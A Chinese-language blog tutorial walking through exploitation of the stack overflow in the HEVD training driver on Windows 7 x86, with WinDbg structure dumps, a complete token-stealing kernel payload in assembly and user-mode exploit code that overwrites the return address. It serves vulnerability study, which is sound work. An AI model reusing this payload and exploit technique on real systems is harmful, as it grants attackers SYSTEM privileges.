作者:huity
出处:http://www.cnblogs.com/huity35/
版权:本文版权归作者所有。文章在看雪、博客园、个人博客同时发布。
转载:欢迎转载,但未经作者同意,必须保留此段声明;必须在文章中给出原文连接;否则必究法律责任

0x00 前言

上一篇主要学习了环境搭建及前期项目准备,本篇开始学习HEVD中的内核栈溢出漏洞(StackOverflow)。需要参考环境的可参考:

实验环境:Win10专业版+VMware Workstation 15 Pro+Win7 x86 sp1

实验工具:VS2015+Windbg+IDA Pro+KmdManager+DbgViewer

这几天看到有很多同样开始研究二进制漏洞的小伙伴,几经交流,先膜再说。传送门:TJ

驱动安装

从github上下载HEVD的源码编译生成驱动,打开我们之前准备好的虚拟机和windbg,将驱动模块和利用模块拷贝到虚拟机,用KMD加载即可。
打开cmd,运行我们的利用程序,如下:
查看是否加载成功,windbg使用lm m H*可以看到刚刚加载的HEVD.sys。

0x01 漏洞原理

栈溢出

顾名思义,即缓冲区中,超长的数据向小缓冲区拷贝数据,数据超出了小缓冲区,覆盖掉了小缓冲之后的数据,此称为缓冲区溢出。而栈溢出是缓冲区溢出的一种,类似的还有堆溢出,不同的是栈溢出发生在栈中,而堆溢出发生在堆中。具体更细致的理解,可参考《0Day安全》(第二版)中第2、5、7章的介绍。
那么当我们设计将返回地址溢出覆盖为我们自己的程序地址,那么目标程序即被利用。

分析

打开..\HackSysExtremeVulnerableDriver-master\Driver\HEVD\BufferOverflowStack.c,看到触发漏洞的函数TriggerBufferOverflowStack,其中针对存在漏洞的版本和不存在漏洞的版本的源码有一个很好的对比展示,如下:
ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
...
#ifdef SECURE  //安全版本
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else   //漏洞版本
        DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
    return Status;
}
在不安全的版本中,RtlCopyMemory函数进行内存拷贝时,直接使用Ring3传入的内存块大小,没有进行任何的校验。而在安全的版本中,内存拷贝大小被限制为目标缓冲区大小,即限制了栈溢出的发生。那么,当我们编译为不安全版本时,即可进行漏洞利用。
再向上翻看代码时,我们注意到内核缓冲区的大小为BUFFER_SIZE大小,查看宏可知为512,乘以32位ULONG即为0x800大小。

0x02 漏洞利用

提权

对于系统进程而言,如system.exe或者csrss.exe,当我们用自己的普通用户进程打开OpenProcess时,往往都会返回0x5的错误,即拒绝访问。那是因为普通进程的权限是比较低的,想要打开高权限程序必须具有高于或等于目标进程权限,才能对其进程操作。
那么如何提升当前进程的权限呢,常用的一种做法是,通过Token令牌修改。

即将目标进程的 Token 结构数据或指针替换成 System 进程等系统进程的 Token 结构数据或指针。这样一来进程将以系统进程的身份执行任何行为,所有需要校验令牌的操作都将可以畅通无阻地进行。

 

第一步首先需要定位到System进程的EPROCES结构地址,常见做法是通过fs寄存器,其指向当前活动线程的TEB结构(线程结构),在Win7 x86 sp1环境下,其偏移0x124为当前线程KTHREAD结构:

kd> r fs
fs=00000030
kd> dd fs:[0x124]
0030:00000124  83f7d380 00000000 83f7d380 00000100
0030:00000134  9e090106 0001007f 00000000 00000000
0030:00000144  00000000 00000000 00000000 00000000
0030:00000154  00000000 00000000 00000000 00000000
0030:00000164  00000000 00000000 00000000 00000000
0030:00000174  00000000 00000000 00000000 00000000
0030:00000184  00000000 00000000 00000000 00000000
0030:00000194  00000000 00000000 83f0cae7 83e4ff64
    
kd> dt _KTHREAD 83f7d380 
nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   ...
   +0x040 ApcState         : _KAPC_STATE
   +0x040 ApcStateFill     : [23]  "???"
   +0x057 Priority         : 0 ''
   ...
     
kd> dt _KAPC_STATE
nt!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY
   +0x010 Process          : Ptr32 _KPROCESS
   +0x014 KernelApcInProgress : UChar
   +0x015 KernelApcPending : UChar
   +0x016 UserApcPending   : UChar
_KTHREAD结构的偏移0x50处为_KPROCESS结构,而_KPROCESS为_EPOCESS结构的第一个字段,即定位到了_EPROCESS结构。
 
第二步通过_EPROCESS中偏移0xb8处的进程双向链表,偏移0xb4处的进程标识符以及System进程的进程标识符4遍历链表匹配到System进程。在EPROCESS结构偏移0xF8处为_EX_FAST_REF结构,为Token 成员域。
kd> dt _EPROCESS
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   ...
   +0x0b4 UniqueProcessId  : Ptr32 Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY
   +0x0c0 ProcessQuotaUsage : [2] Uint4B
   +0x0c8 ProcessQuotaPeak : [2] Uint4B
   ...
   +0x0f8 Token            : _EX_FAST_REF
   +0x0fc WorkingSetPage   : Uint4B
   ...
       
kd> dt _EX_FAST_REF
nt!_EX_FAST_REF
   +0x000 Object           : Ptr32 Void
   +0x000 RefCnt           : Pos 0, 3 Bits
   +0x000 Value            : Ui

数值的低 3 位表示引用计数,去除低 3 位数值后的 32 位完整数值指向实际表示的内存地址。

Token 结构中存储与当前进程相关的安全令牌的数据内容,如用户安全标识符(Sid),特权级(Privileges)等,代表当前进程作为访问者角色访问其他被访问对象时,访问权限和身份校验的依据。当前的 System 进程的 Token 结构块的数据如下:

kd> !token 89201270
_TOKEN 0xffffffff89201270
TS Session ID: 0
User: S-1-5-18
User Groups: 
 00 S-1-5-32-544
    Attributes - Default Enabled Owner 
 01 S-1-1-0
    Attributes - Mandatory Default Enabled 
 02 S-1-5-11
    Attributes - Mandatory Default Enabled 
 03 S-1-16-16384
    Attributes - GroupIntegrity GroupIntegrityEnabled 
Primary Group: S-1-5-18
Privs: 
 02 0x000000002 SeCreateTokenPrivilege            Attributes - 
 03 0x000000003 SeAssignPrimaryTokenPrivilege     Attributes - 
 ...
 34 0x000000022 SeTimeZonePrivilege               Attributes - Enabled Default 
 35 0x000000023 SeCreateSymbolicLinkPrivilege     Attributes - Enabled Default 
Authentication ID:         (0,3e7)
Impersonation Level:       Anonymous
TokenType:                 Primary
Source: *SYSTEM*           TokenFlags: 0x2000 ( Token in use )
Token ID: 3ea              ParentToken ID: 0
Modified ID:               (0, 3eb)
RestrictedSidCount: 0      RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 0

第三步,用系统进程令牌替换当前进程令牌。

根据以上步骤,参照..\HackSysExtremeVulnerableDriver-master\Exploit\Payloads.c,构造的Payload代码如下:
VOID TokenStealingPayloadWin7() {
    __asm {
        pushad                               ; 保存寄存器状态
        xor eax, eax                         ; 清空eax
        mov eax, fs:[eax + KTHREAD_OFFSET]   ;获取当前线程KTHREAD结构
        mov eax, [eax + EPROCESS_OFFSET]     ; 获取_KPROCESS结构
        mov ecx, eax                         ; KProcess为EProcess第一个字段  这里将目标进程EProcess首地址放进ecx  方便后面替换
        mov edx, SYSTEM_PID                  ; SYSTEM process PID = 0x4
        SearchSystemPID:
            mov eax, [eax + FLINK_OFFSET]    ; _EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp [eax + PID_OFFSET], edx      ;_EPROCESS.UniqueProcessId
            jne SearchSystemPID
        mov edx, [eax + TOKEN_OFFSET]        ; 获取System进程令牌
        mov [ecx + TOKEN_OFFSET], edx        ; 用系统进程令牌替换目标进程令牌
        ; End of Token Stealing Stub
        popad                                ; 恢复现场
        ; Kernel Recovery Stub
        xor eax, eax                         ; 设置返回状态为成功0
        add esp, 12                          ; 恢复堆栈
        pop ebp                              ; 弹栈
        ret 8                                ;
    }
}

 

利用代码

通过DeviceIoControl的其他内存模式IOCTL(METHOD_INEITHER方法进行环3和环0通信交互。
    #define HACKSYS_EVD_IOCTL_STACK_OVERFLOW                  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)

 

这种交互方法,驱动层可以直接访问用户模式地址,使用用户模式地址必须保证调用DeviceIoControl提供线程和派遣函数运行在同一个线程上下文中。
SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG);
  __try {
        ...
        //获取设备对象句柄
        hFile = GetDeviceHandle(FileName);

        ...
        //动态申请内存  2084
        UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
                                           HEAP_ZERO_MEMORY,
                                           UserModeBufferSize);

        ...
        RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);//0x41  'A'

        MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));//申请区域的倒数第四的字节  0x368068+0x824-4 = 0x368888

        ...
        *(PULONG)MemoryAddress = (ULONG)EopPayload;//写入payload地址

        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
                        (LPVOID)UserModeBuffer,
                        (DWORD)UserModeBufferSize, 
                        NULL,
                        0,
                        &BytesReturned,
                        NULL);
    
        HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer);
        UserModeBuffer = NULL;
    }

动态申UserModeBufferSize(0x824)大小内存,使用字符A填充,修改最后四字节为Payload地址。驱动层通过IO控制码进入栈溢出处理历程,也即文章开始处的触发函数。

 

 

此时传入用户模式地址为0x2c8068,大小为0x824
可以看到,此地址与环三代码一致,最后四位为payload地址。
kd> db 0x002c8068 l 824
002c8068  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
002c8078  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
...
002c8868  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
002c8878  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
002c8888  b6 13 3f 01                                      ..?.
    
kd> db 013f13b6
013f13b6  e9 25 75 00 00 e9 20 3b-00 00 e9 85 d6 00 00 e9  .%u... ;........
013f13c6  36 13 00 00 e9 41 bc 00-00 e9 4c d5 00 00 e9 27  6....A....L....'
013f13d6  c5 00 00 e9 f4 a1 00 00-e9 9d d6 00 00 e9 08 d7  ................
013f13e6  00 00 e9 73 45 00 00 e9-82 d6 00 00 e9 29 2d 00  ...sE........)-.
013f13f6  00 e9 d0 a1 00 00 e9 ef-ba 00 00 e9 2a bb 00 00  ............*...
013f1406  e9 73 a1 00 00 e9 b6 a1-00 00 e9 0b a2 00 00 e9  .s..............
013f1416  88 a1 00 00 e9 71 a1 00-00 e9 dc b3 00 00 e9 15  .....q..........
013f1426  a2 00 00 e9 02 d7 00 00-e9 ff a1 00 00 e9 28 d5  ..............(.
                                                                          
013f88f2 b930000000      mov     ecx,30h
kd> u 013f13b6+5+7525 l 30
013f88e0 55              push    ebp
013f88e1 8bec            mov     ebp,esp
...
013f88fe 60              pushad
013f88ff 33c0            xor     eax,eax
013f8901 648b8024010000  mov     eax,dword ptr fs:[eax+124h]
013f8908 8b4050          mov     eax,dword ptr [eax+50h]
013f890b 8bc8            mov     ecx,eax
013f890d ba04000000      mov     edx,4
013f8912 8b80b8000000    mov     eax,dword ptr [eax+0B8h]
013f8918 2db8000000      sub     eax,0B8h
013f891d 3990b4000000    cmp     dword ptr [eax+0B4h],edx
013f8923 75ed            jne     013f8912
013f8925 8b90f8000000    mov     edx,dword ptr [eax+0F8h]
013f892b 8991f8000000    mov     dword ptr [ecx+0F8h],edx
013f8931 61              popad
...
013f894e c3              ret
013f894f cc              int     3

再来看看内核栈缓冲区,明显可以看到,覆盖范围超出了内核栈缓冲区,并且最后四个字节为payload跳转地址。

kd> dt KernelBuffer
Local var @ 0x987fb288 Type unsigned long[]

kd> db 0x987fb288 l 0x800 //覆盖前
987fb288  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
987fb298  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
...
987fba78  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    
kd> db 0x987fb288 l 0x824 //覆盖后
987fb288  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
987fb298  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
...
987fba98  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
987fbaa8  b6 13 3f 01                                      ..?.

测试中,可以看到我们的payload代码成功执行。

最终提权成功。
 

0x03 防范机制

关于栈溢出的防护,操作系统自身不断的完善,出现了如Linux中Canary、DEP、ASLR、RELRO等系列机制,包括Windows的GS编译选项,对栈保护性上有一定作用,但是近些年来,人们不断的研究下,这些机制又很容易被绕过和关闭,又使新的问题不断出现。

0x04 链接

玉涵师傅的翻译版本:https://bbs.pediy.com/thread-223812.htm
版权声明:本文为huity35原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/huity35/p/11231155.html